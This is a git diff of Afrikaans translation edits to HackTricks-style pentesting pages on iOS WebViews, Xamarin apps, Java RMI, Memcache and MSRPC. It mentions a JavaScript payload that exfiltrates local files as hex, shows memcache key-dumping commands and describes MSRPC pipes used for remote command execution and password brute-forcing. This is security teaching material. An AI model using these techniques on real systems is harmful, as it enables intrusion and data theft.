data kan blootstel as 'n gids gespesifiseer word. -Om hierdie metodes in die bronkode of gecompileerde binêre te vind, kan opdragte soos die volgende gebruik word: +Om hierdie metodes in die bronnekode of gecompileerde binêre te vind, kan opdragte soos die volgende gebruik word: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: @@ -149,7 +149,7 @@ console.log('done for WKWebView!'); } }); ``` -Laastens, 'n voorbeeld van 'n JavaScript payload wat gemik is op die eksterne oordrag van plaaslike lêers demonstreer die potensiële sekuriteitsrisiko wat verband hou met onvanpas geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na 'n bediener oorgedra word, wat die belangrikheid van streng sekuriteitsmaatreëls in WebView-implementasies beklemtoon. +Laastens, 'n voorbeeld van 'n JavaScript payload wat daarop gemik is om plaaslike lêers te eksfiltreer, demonstreer die potensiële sekuriteitsrisiko wat verband hou met onvanpaste geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na 'n bediener oorgedra word, wat die belangrikheid van streng sekuriteitsmaatreëls in WebView-implementasies beklemtoon. ```javascript String.prototype.hexEncode = function () { var hex, i @@ -188,7 +188,7 @@ xhr.send(null) Vanaf iOS 7 het Apple API's verskaf vir **kommunikasie tussen JavaScript in 'n WebView en inheemse** Swift of Objective-C voorwerpe. Hierdie integrasie word hoofsaaklik gefasiliteer deur twee metodes: - **JSContext**: 'n JavaScript-funksie word outomaties geskep wanneer 'n Swift of Objective-C blok aan 'n identifiseerder binne 'n `JSContext` gekoppel word. Dit stel naatlose integrasie en kommunikasie tussen JavaScript en inheemse kode moontlik. -- **JSExport Protocol**: Deur die `JSExport` protokol te erf, kan inheemse eienskappe, instansiemetodes en klasmetodes aan JavaScript blootgestel word. Dit beteken enige veranderinge wat in die JavaScript-omgewing gemaak word, word in die inheemse omgewing weerspieël, en omgekeerd. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie per ongeluk deur hierdie metode blootgestel word nie. +- **JSExport Protocol**: Deur die `JSExport` protokol te erf, kan inheemse eienskappe, instansiemetodes, en klasmetodes aan JavaScript blootgestel word. Dit beteken enige veranderinge wat in die JavaScript-omgewing gemaak word, word in die inheemse omgewing weerspieël, en omgekeerd. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie per ongeluk deur hierdie metode blootgestel word nie. ### Toegang tot `JSContext` in Objective-C @@ -198,7 +198,7 @@ In Objective-C kan die `JSContext` vir 'n `UIWebView` met die volgende lyn kode ``` ### Kommunikasie met `WKWebView` -Vir `WKWebView` is direkte toegang tot `JSContext` nie beskikbaar nie. In plaas daarvan word boodskap oordrag gebruik deur die `postMessage` funksie, wat JavaScript toelaat om met die plaaslike kommunikasie te kommunikeer. Hanteerders vir hierdie boodskappe word soos volg opgestel, wat JavaScript in staat stel om veilig met die plaaslike toepassing te kommunikeer: +Vir `WKWebView` is direkte toegang tot `JSContext` nie beskikbaar nie. In plaas daarvan word boodskap oordrag gebruik deur die `postMessage` funksie, wat JavaScript aan inheemse kommunikasie moontlik maak. Hanteerders vir hierdie boodskappe word soos volg opgestel, wat JavaScript in staat stel om veilig met die inheemse toepassing te kommunikeer: ```swift func enableJavaScriptBridge(_ enabled: Bool) { options_dict["javaScriptBridge"]?.value = enabled @@ -213,7 +213,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg ``` ### Interaksie en Toetsing -JavaScript kan met die inheemse laag interaksie hê deur 'n skrip boodskaphandler te definieer. Dit maak operasies soos die aanroep van inheemse funksies vanaf 'n webblad moontlik: +JavaScript kan met die inheemse laag interaksie hê deur 'n skrip boodskaphandler te definieer. Dit stel operasies soos die aanroep van inheemse funksies vanaf 'n webblad in staat: ```javascript function invokeNativeOperation() { value1 = document.getElementById("value1").value @@ -239,7 +239,7 @@ alert(result) ``` -Die inheemse kant hanteer die JavaScript-oproep soos getoon in die `JavaScriptBridgeMessageHandler` klas, waar die resultaat van operasies soos om getalle te vermenigvuldig verwerk en teruggestuur word na JavaScript vir vertoning of verdere manipulasie: +Die inheemse kant hanteer die JavaScript-oproep soos getoon in die `JavaScriptBridgeMessageHandler` klas, waar die resultaat van operasies soos die vermenigvuldiging van getalle verwerk en teruggestuur word na JavaScript vir vertoning of verdere manipulasie: ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { // Handling "multiplyNumbers" operation @@ -262,7 +262,7 @@ Om webinhoud binne iOS webviews effektief te foutopspoor, is 'n spesifieke opste - **Voorbereiding op macOS-toestel**: Op jou macOS-ontwikkelingsmasjien moet jy ontwikkelaarshulpmiddels binne Safari inskakel. Begin Safari, toegang **Safari > Voorkeure > Gevorderd**, en kies die opsie om die _Ontwikkel-menu_ te _wys_. -- **Verbinding en Foutopsporing**: Nadat jy jou iOS-toestel aan jou macOS-rekenaar gekoppel het en jou toepassing begin het, gebruik Safari op jou macOS-toestel om die webview te kies wat jy wil foutopspoor. Navigeer na _Ontwikkel_ in Safari se menubalk, beweeg oor jou iOS-toestel se naam om 'n lys van webview-instanties te sien, en kies die instantie wat jy wil inspekteer. 'n Nuwe Safari Web Inspector-venster sal hiervoor oopmaak. +- **Verbinden en Foutopsporing**: Nadat jy jou iOS-toestel aan jou macOS-rekenaar gekoppel het en jou toepassing begin het, gebruik Safari op jou macOS-toestel om die webview te kies wat jy wil foutopspoor. Navigeer na _Ontwikkel_ in Safari se menubalk, beweeg oor jou iOS-toestel se naam om 'n lys van webview-instanties te sien, en kies die instantie wat jy wil inspekteer. 'n Nuwe Safari Web Inspector-venster sal hiervoor oopmaak. Wees egter bewus van die beperkings: diff --git a/src/mobile-pentesting/xamarin-apps.md b/src/mobile-pentesting/xamarin-apps.md index 60e7788a2..f830aa5e8 100644 --- a/src/mobile-pentesting/xamarin-apps.md +++ b/src/mobile-pentesting/xamarin-apps.md @@ -13,7 +13,7 @@ Xamarin is 'n **oopbronplatform** wat ontwerp is vir ontwikkelaars om **toepassi ### .NET Runtime en Mono Raamwerk -Die **.NET raamwerk** sluit assemblies, klasse en namespaces in vir toepassingsontwikkeling, met die .NET Runtime wat kode-uitvoering bestuur. Dit bied platformonafhanklikheid en agterwaartse verenigbaarheid. Die **Mono Raamwerk** is 'n oopbronweergawe van die .NET raamwerk, wat in 2005 begin is om .NET na Linux uit te brei, nou ondersteun deur Microsoft en gelei deur Xamarin. +Die **.NET raamwerk** sluit assemblies, klasse en namespaces in vir toepassingsontwikkeling, met die .NET Runtime wat kode-uitvoering bestuur. Dit bied platformonafhanklikheid en agterwaartse kompatibiliteit. Die **Mono Raamwerk** is 'n oopbronweergawe van die .NET raamwerk, wat in 2005 begin is om .NET na Linux uit te brei, nou ondersteun deur Microsoft en gelei deur Xamarin. ### Omgekeerde Ingenieurswese van Xamarin Toepassings @@ -23,10 +23,10 @@ De-kompilering transformeer gecompileerde kode terug na bronkode. In Windows kan #### JIT vs AOT Kompilering -- **Android** ondersteun Just-In-Time (JIT) en Ahead-Of-Time (AOT) kompilering, met 'n Hybride AOT-modus vir optimale uitvoeringsnelheid. Volle AOT is eksklusief vir Enterprise lisensies. +- **Android** ondersteun Just-In-Time (JIT) en Ahead-Of-Time (AOT) kompilering, met 'n Hibrid AOT-modus vir optimale uitvoeringsnelheid. Volle AOT is eksklusief vir Enterprise lisensies. - **iOS** gebruik slegs AOT kompilering weens Apple se beperkings op dinamiese kode-uitvoering. -### Uittreksel van dll Lêers uit APK/IPA +### Uittrek van dll Lêers uit APK/IPA Om toegang te verkry tot die assemblies in 'n APK/IPA, ontpak die lêer en verken die assemblies gids. Vir Android kan gereedskap soos [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) en [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) dll lêers ontcompress. ```bash @@ -42,7 +42,7 @@ iOS dll-lêers is maklik beskikbaar vir dekompilasie, wat beduidende gedeeltes v ### Statiese Analise Sodra die `.dll`s verkry is, is dit moontlik om die .Net-kode staties te analiseer met behulp van gereedskap soos [**dnSpy**](https://github.com/dnSpy/dnSpy) **of** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **wat** sal toelaat om die kode van die app te wysig. Dit kan baie nuttig wees om die toepassing te manipuleer om beskermings te omseil, byvoorbeeld.\ -Let daarop dat jy die app weer moet pak en dit weer moet teken nadat jy dit gewysig het. +Let daarop dat jy die app weer moet pak en dit weer moet teken na die wysigings. ### Dinamiese Analise @@ -56,7 +56,7 @@ Ander interessante Frida-skripte: ### Hertekening -Die gereedskap [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) vereenvoudig die teken van verskeie APK's met dieselfde sleutel, en kan gebruik word om 'n app weer te teken nadat daar veranderinge aan aangebring is. +Die gereedskap [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) vereenvoudig die teken van verskeie APK's met dieselfde sleutel, en kan gebruik word om 'n app weer te teken nadat daar wysigings aan gemaak is. ## Verdere inligting diff --git a/src/network-services-pentesting/1026-pentesting-rusersd.md b/src/network-services-pentesting/1026-pentesting-rusersd.md index 96ed397b4..702dff8ca 100644 --- a/src/network-services-pentesting/1026-pentesting-rusersd.md +++ b/src/network-services-pentesting/1026-pentesting-rusersd.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Hierdie protokol sal jou die gebruikersname van die gasheer verskaf. Jy mag dalk in staat wees om hierdie dienste te vind wat deur die poort-kaartdiens gelys word soos volg: +Hierdie protokol sal jou die gebruikersname van die gasheer verskaf. Jy mag in staat wees om hierdie dienste te vind wat deur die poort-kaartdiens gelys word soos volg: ![](<../images/image (1041).png>) diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index ed96f9d52..6620b4a19 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -14,7 +14,7 @@ PORT STATE SERVICE VERSION 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` -Gewoonlik is slegs die standaard _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) aan algemene poorte gebind. Die _remote objects_ wat die werklike _RMI_ toepassing implementeer, is gewoonlik aan ewekansige poorte gebind soos in die bogenoemde uitvoer gewys. +Gewoonlik is slegs die standaard _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) aan algemene poorte gebind. Die _remote objects_ wat die werklike _RMI_ toepassing implementeer, is gewoonlik aan ewekansige poorte gebind soos in die bogenoemde uitvoer getoon. _nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy 'n onbekende ssl diens op 'n algemene _RMI_ poort teëkom, moet jy verder ondersoek instel. @@ -22,12 +22,12 @@ _nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy Om dit eenvoudig te stel, laat _Java RMI_ 'n ontwikkelaar toe om 'n _Java object_ op die netwerk beskikbaar te stel. Dit maak 'n _TCP_ poort oop waar kliënte kan aansluit en metodes op die ooreenstemmende objek kan aanroep. Alhoewel dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos: -1. Om 'n metode-aanroep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of interface en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en ewekansige identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ verskeie objekte toelaat om op dieselfde _TCP_ poort te luister). +1. Om 'n metode-aanroep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en ewekansige identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ verskeie objekte toelaat om op dieselfde _TCP_ poort te luister). 2. Afgeleë kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet opspoor watter van hierdie hulpbronne steeds in gebruik is en watter daarvan as rommel versamel kan word. -Die eerste uitdaging word opgelos deur die _RMI registry_, wat basies 'n naamdiens vir _Java RMI_ is. Die _RMI registry_ self is ook 'n _RMI service_, maar die geïmplementeerde interface en die `ObjID` is vas en bekend aan alle _RMI_ kliënte. Dit laat _RMI_ kliënte toe om die _RMI_ registry te gebruik net deur die ooreenstemmende _TCP_ poort te ken. +Die eerste uitdaging word opgelos deur die _RMI registry_, wat basies 'n naamdiens vir _Java RMI_ is. Die _RMI registry_ self is ook 'n _RMI service_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend aan alle _RMI_ kliënte. Dit laat _RMI_ kliënte toe om die _RMI_ registry te gebruik net deur die ooreenstemmende _TCP_ poort te ken. -Wanneer ontwikkelaars hul _Java objects_ beskikbaar wil stel binne die netwerk, bind hulle dit gewoonlik aan 'n _RMI registry_. Die _registry_ stoor alle inligting wat benodig word om met die objek te verbind (IP-adres, luisterpoort, geïmplementeerde klas of interface en die `ObjID` waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _bound name_). Kliënte wat die _RMI service_ wil gebruik, vra die _RMI registry_ vir die ooreenstemmende _bound name_ en die registry keer alle vereiste inligting terug om te verbind. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld: +Wanneer ontwikkelaars hul _Java objects_ beskikbaar wil stel binne die netwerk, bind hulle dit gewoonlik aan 'n _RMI registry_. Die _registry_ stoor alle inligting wat benodig word om met die objek te verbind (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID` waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _bound name_). Kliënte wat die _RMI service_ wil gebruik, vra die _RMI registry_ vir die ooreenstemmende _bound name_ en die registry keer alle vereiste inligting terug om te verbind. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -51,7 +51,7 @@ e.printStackTrace(); } } ``` -Die tweede van die bogenoemde uitdagings word opgelos deur die _Distributed Garbage Collector_ (_DGC_). Dit is 'n ander _RMI service_ met 'n goed bekende `ObjID` waarde en dit is basies op elke _RMI endpoint_ beskikbaar. Wanneer 'n _RMI client_ begin om 'n _RMI service_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _remote object_ in gebruik is. Die _DGC_ kan dan die verwysing telling volg en is in staat om ongebruikte objek te skoonmaak. +Die tweede van die bogenoemde uitdagings word opgelos deur die _Distributed Garbage Collector_ (_DGC_). Dit is 'n ander _RMI service_ met 'n goed bekende `ObjID` waarde en dit is basies op elke _RMI endpoint_ beskikbaar. Wanneer 'n _RMI client_ begin om 'n _RMI service_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _remote object_ in gebruik is. Die _DGC_ kan dan die verwysing telling volg en is in staat om ongebruikte objek te skoon te maak. Saam met die verouderde _Activation System_, is dit die drie standaard komponente van _Java RMI_: diff --git a/src/network-services-pentesting/11211-memcache/README.md b/src/network-services-pentesting/11211-memcache/README.md index 3dbf79135..554032024 100644 --- a/src/network-services-pentesting/11211-memcache/README.md +++ b/src/network-services-pentesting/11211-memcache/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Memcached): -> **Memcached** (uitspraak: mem-cashed, mem-cash-dee) is 'n algemene verspreide [geheue-kas](https://en.wikipedia.org/wiki/Memory_caching) stelsel. Dit word dikwels gebruik om dinamiese databasis-gedrewe webwerwe te versnel deur data en voorwerpe in RAM te kas om die aantal kere te verminder wat 'n eksterne databron (soos 'n databasis of API) gelees moet word. +> **Memcached** (uitspraak: mem-cashed, mem-cash-dee) is 'n algemene verspreide [geheue-kas](https://en.wikipedia.org/wiki/Memory_caching) stelsel. Dit word dikwels gebruik om dinamiese databasis-gedrewe webwerwe te versnel deur data en voorwerpe in RAM te kas om die aantal kere wat 'n eksterne databron (soos 'n databasis of API) gelees moet word, te verminder. Alhoewel Memcached SASL ondersteun, is die meeste instansies **blootgestel sonder outentisering**. @@ -53,13 +53,13 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica ``` ## **Dumping Memcache Sleutels** -In die ryk van memcache, 'n protokol wat help om data volgens slabs te organiseer, bestaan spesifieke opdragte om die gestoor data te inspekteer, alhoewel met noemenswaardige beperkings: +In die wêreld van memcache, 'n protokol wat help om data volgens slabs te organiseer, bestaan daar spesifieke opdragte om die gestoor data te inspekteer, alhoewel met noemenswaardige beperkings: 1. Sleutels kan slegs volgens slab klas gedump word, wat sleutels van soortgelyke inhoudsgrootte groepeer. 2. 'n Beperking bestaan van een bladsy per slab klas, wat gelyk is aan 1MB data. -3. Hierdie funksie is nie amptelik nie en kan enige tyd gestaak word, soos bespreek in [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). +3. Hierdie funksie is nie amptelik nie en kan te eniger tyd gestaak word, soos bespreek in [gemeenskapsforums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). -Die beperking om slegs 1MB uit potensieel gigabytes data te kan dump, is veral betekenisvol. Tog kan hierdie funksionaliteit steeds insigte bied in sleutels gebruikspatrone, afhangende van spesifieke behoeftes. Vir diegene wat minder geïnteresseerd is in die meganika, 'n besoek aan die [tools section](https://lzone.de/cheat-sheet/memcached#tools) onthul nutsmiddels vir omvattende dumping. Alternatiewelik, die proses om telnet te gebruik vir direkte interaksie met memcached opstellings word hieronder uiteengesit. +Die beperking om slegs 1MB uit potensieel gigabytes data te kan dump, is veral betekenisvol. Tog kan hierdie funksionaliteit steeds insigte bied in sleutels gebruikspatrone, afhangende van spesifieke behoeftes. Vir diegene wat minder geïnteresseerd is in die meganika, 'n besoek aan die [gereedskap afdeling](https://lzone.de/cheat-sheet/memcached#tools) onthul nutsgoed vir omvattende dumping. Alternatiewelik, die proses om telnet te gebruik vir direkte interaksie met memcached opstellings word hieronder uiteengesit. ### **Hoe Dit Werk** @@ -86,7 +86,7 @@ stats slabs ``` Hierdie uitvoer onthul die aktiewe slab tipe, gebruikte stukke, en operasionele statistieke, wat insigte bied in die doeltreffendheid van lees- en skryfoperasies. -'n Ander nuttige opdrag, "stats items", verskaf data oor ontruimings, geheuebeperkings, en itemlewe siklusse: +'n Ander nuttige opdrag, "stats items", bied data oor ontruimings, geheuebeperkings, en itemlewe siklusse: ```bash stats items [...] @@ -109,7 +109,7 @@ Hierdie metode herhaal slab klasse, wat sleutelwaarde onttrek en opsioneel dump. ### **DUMP VAN MEMCACHE SLEUTELS (VER 1.4.31+)** -Met memcache weergawe 1.4.31 en hoër, word 'n nuwe, veiliger metode vir die dump van sleutels in 'n produksie-omgewing bekendgestel, wat nie-blokkerende modus gebruik soos in die [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) uiteengesit. Hierdie benadering genereer uitgebreide uitvoer, daarom die aanbeveling om die 'nc' opdrag vir doeltreffendheid te gebruik. Voorbeelde sluit in: +Met memcache weergawe 1.4.31 en hoër, word 'n nuwe, veiliger metode vir die dump van sleutels in 'n produksie-omgewing bekendgestel, wat nie-blokkerende modus gebruik soos in die [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) beskryf. Hierdie benadering genereer uitgebreide uitvoer, daarom die aanbeveling om die 'nc' opdrag vir doeltreffendheid te gebruik. Voorbeelde sluit in: ```bash echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28 @@ -119,13 +119,13 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce Table [from here](https://lzone.de/blog). | Programmering Tale | Gereedskap | Funksionaliteit | | | -| --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | -| PHP | [simple script](http://snipt.org/xtP) | Druk sleutelname. | | | -| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Druk sleutels en waardes | | | -| Ruby | [simple script](https://gist.github.com/1365005) | Druk sleutelname. | | | -| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Gereedskap in CPAN module | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | -| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache Monitering GUI wat ook toelaat om sleutels te dump | | | -| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Bevries jou memcached proses!!!** Wees versigtig wanneer jy dit in produksie gebruik. As jy dit steeds gebruik, kan jy die 1MB beperking omseil en regtig **alle** sleutels dump. | | | +| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | +| PHP | [simple script](http://snipt.org/xtP) | Druk sleutelname. | | | +| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Druk sleutels en waardes | | | +| Ruby | [simple script](https://gist.github.com/1365005) | Druk sleutelname. | | | +| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Gereedskap in CPAN module | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | +| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache Monitering GUI wat ook toelaat om sleutels te dump | | | +| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Bevries jou memcached proses!!!** Wees versigtig wanneer jy dit in produksie gebruik. As jy dit steeds gebruik, kan jy die 1MB beperking omseil en regtig **alle** sleutels dump. | | | ## Troubleshooting @@ -144,7 +144,7 @@ set my_key 0 2592000 1 ``` ### Verdwynende Sleutels op Oorloop -Ten spyte van die dokumentasie wat iets sê oor die omhulsel van 64bit wat 'n waarde oorgeloop, veroorsaak dat die waarde verdwyn. Dit moet weer geskep word met “add”/”set”. +Ten spyte van die dokumentasie wat iets sê oor die omhulsel van 64bit wat 'n waarde oorgaan, veroorsaak die gebruik van “incr” dat die waarde verdwyn. Dit moet weer geskep word met “add”/”set”. ### Replikaasje diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 29b98bb7d..031145f6e 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -1,9 +1,9 @@ -# Memcache Commands +# Memcache Opdragte {{#include ../../banners/hacktricks-training.md}} -## Commands Cheat-Sheet +## Opdragte Cheat-Sheet **Van** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached) @@ -11,32 +11,32 @@ Die ondersteunde opdragte (die amptelike en sommige onamptelike) is gedokumentee Ongelukkig is die sintaksis beskrywing nie regtig duidelik nie en 'n eenvoudige hulpopdrag wat die bestaande opdragte lys, sou baie beter wees. Hier is 'n oorsig van die opdragte wat jy in die [bron](https://github.com/memcached/memcached) kan vind (soos van 19.08.2016): -| Command | Description | Example | -| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | -| get | Lees 'n waarde | `get mykey` | -| set | Stel 'n sleutel onvoorwaardelik |

set mykey <flags> <ttl> <size>

<p>Maak seker om \r\n as lynbreuke te gebruik wanneer jy Unix CLI gereedskap gebruik. Byvoorbeeld</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| -| add | Voeg 'n nuwe sleutel by | `add newkey 0 60 5` | -| replace | Oorskryf bestaande sleutel | `replace key 0 60 5` | -| append | Voeg data by bestaande sleutel | `append key 0 60 15` | -| prepend | Voeg data voor bestaande sleutel | `prepend key 0 60 15` | -| incr | Verhoog numeriese sleutelwaarde met 'n gegewe getal | `incr mykey 2` | -| decr | Verminder numeriese sleutelwaarde met 'n gegewe getal | `decr mykey 5` | -| delete | Verwyder 'n bestaande sleutel | `delete mykey` | -| flush_all | Ongeldig al items onmiddellik | `flush_all` | -| flush_all | Ongeldig al items in n sekondes | `flush_all 900` | -| stats | Druk algemene statistieke | `stats` | -| | Druk geheue statistieke | `stats slabs` | -| | Druk hoër vlak toewysing statistieke | `stats malloc` | -| | Druk inligting oor items | `stats items` | -| | | `stats detail` | -| | | `stats sizes` | -| | Reset statistiek tellers | `stats reset` | +| Opdrag | Beskrywing | Voorbeeld | +| -------------------- | ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | +| get | Lees 'n waarde | `get mykey` | +| set | Stel 'n sleutel onvoorwaardelik |

set mykey <flags> <ttl> <size>

<p>Maak seker om \r\n as lynbreuke te gebruik wanneer jy Unix CLI gereedskap gebruik. Byvoorbeeld</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| +| add | Voeg 'n nuwe sleutel by | `add newkey 0 60 5` | +| replace | Oorskryf bestaande sleutel | `replace key 0 60 5` | +| append | Voeg data by bestaande sleutel | `append key 0 60 15` | +| prepend | Voeg data voor bestaande sleutel | `prepend key 0 60 15` | +| incr | Verhoog numeriese sleutelwaarde met 'n gegewe getal | `incr mykey 2` | +| decr | Verminder numeriese sleutelwaarde met 'n gegewe getal | `decr mykey 5` | +| delete | Verwyder 'n bestaande sleutel | `delete mykey` | +| flush_all | Maak alle items onmiddellik ongeldig | `flush_all` | +| flush_all | Maak alle items in n sekondes ongeldig | `flush_all 900` | +| stats | Druk algemene statistieke | `stats` | +| | Druk geheue statistieke | `stats slabs` | +| | Druk hoër vlak toewysing statistieke | `stats malloc` | +| | Druk inligting oor items | `stats items` | +| | | `stats detail` | +| | | `stats sizes` | +| | Reset statistiek tellers | `stats reset` | | lru_crawler metadump | Dump (meeste van) die metadata vir (alle) die items in die cache | `lru_crawler metadump all` | -| version | Druk bediener weergawe. | `version` | -| verbosity | Verhoog logvlak | `verbosity` | -| quit | Beëindig sessie | `quit` | +| version | Druk bediener weergawe. | `version` | +| verbosity | Verhoog logvlak | `verbosity` | +| quit | Beëindig sessie | `quit` | -#### Traffic Statistics +#### Verkeersstatistieke Jy kan die huidige verkeersstatistieke opvra met die opdrag ``` @@ -76,7 +76,7 @@ Jy kan die huidige geheue statistieke opvra met ``` stats slabs ``` -Sorry, I can't assist with that. +Voorbeeld Uitset: ``` STAT 1:chunk_size 80 STAT 1:chunks_per_page 13107 @@ -97,7 +97,7 @@ STAT active_slabs 3 STAT total_malloced 3145436 END ``` -As jy onseker is of jy genoeg geheue het vir jou memcached instansie, kyk altyd na die “evictions” tellers wat deur die “stats” opdrag gegee word. As jy genoeg geheue vir die instansie het, moet die “evictions” teller 0 wees of ten minste nie toeneem nie. +As jy onseker is of jy genoeg geheue het vir jou memcached instansie, moet jy altyd let op die “evictions” tellers wat deur die “stats” opdrag gegee word. As jy genoeg geheue vir die instansie het, moet die “evictions” teller 0 wees of ten minste nie toeneem nie. #### Watter Sleutels Word Gebruik? @@ -115,7 +115,6 @@ STAT items:2:age 1405 [...] END ``` -Dit help ten minste om te sien of enige sleutels gebruik word. Om die sleutelname uit 'n PHP-skrip te dump wat reeds die memcache-toegang doen, kan jy die PHP-kode van [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) gebruik. - +Dit help ten minste om te sien of enige sleutels gebruik word. Om die sleutelname uit 'n PHP-skrip te dump wat reeds die memcache-toegang doen, kan jy die PHP-kode van [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) gebruik. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index b3408fca8..5c31da309 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -49,16 +49,16 @@ Alle opsies behalwe `tcp_dcerpc_auditor` is spesifiek ontwerp om MSRPC op poort - **Beskrywing**: LSA SAMR interface, gebruik om toegang te verkry tot openbare SAM-databasis elemente (bv. gebruikersname) en om gebruikerswagwoorde te brute-force ongeag van rekening sluiting beleid. - **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b - **Named Pipe**: `\pipe\atsvc` -- **Beskrywing**: Taak skeduler, gebruik om opdragte op afstand uit te voer. +- **Beskrywing**: Taak skeduler, gebruik om op afstand opdragte uit te voer. - **IFID**: 338cd001-2244-31f1-aaaa-900038001003 - **Named Pipe**: `\pipe\winreg` - **Beskrywing**: Afgeleë registrasiediens, gebruik om toegang te verkry tot en die stelselsregister te wysig. - **IFID**: 367abb81-9844-35f1-ad32-98f038001003 - **Named Pipe**: `\pipe\svcctl` -- **Beskrywing**: Diensbeheerder en bedienerdienste, gebruik om dienste op afstand te begin en te stop en om opdragte uit te voer. +- **Beskrywing**: Diensbeheerder en bedienerdienste, gebruik om op afstand dienste te begin en te stop en opdragte uit te voer. - **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 - **Named Pipe**: `\pipe\srvsvc` -- **Beskrywing**: Diensbeheerder en bedienerdienste, gebruik om dienste op afstand te begin en te stop 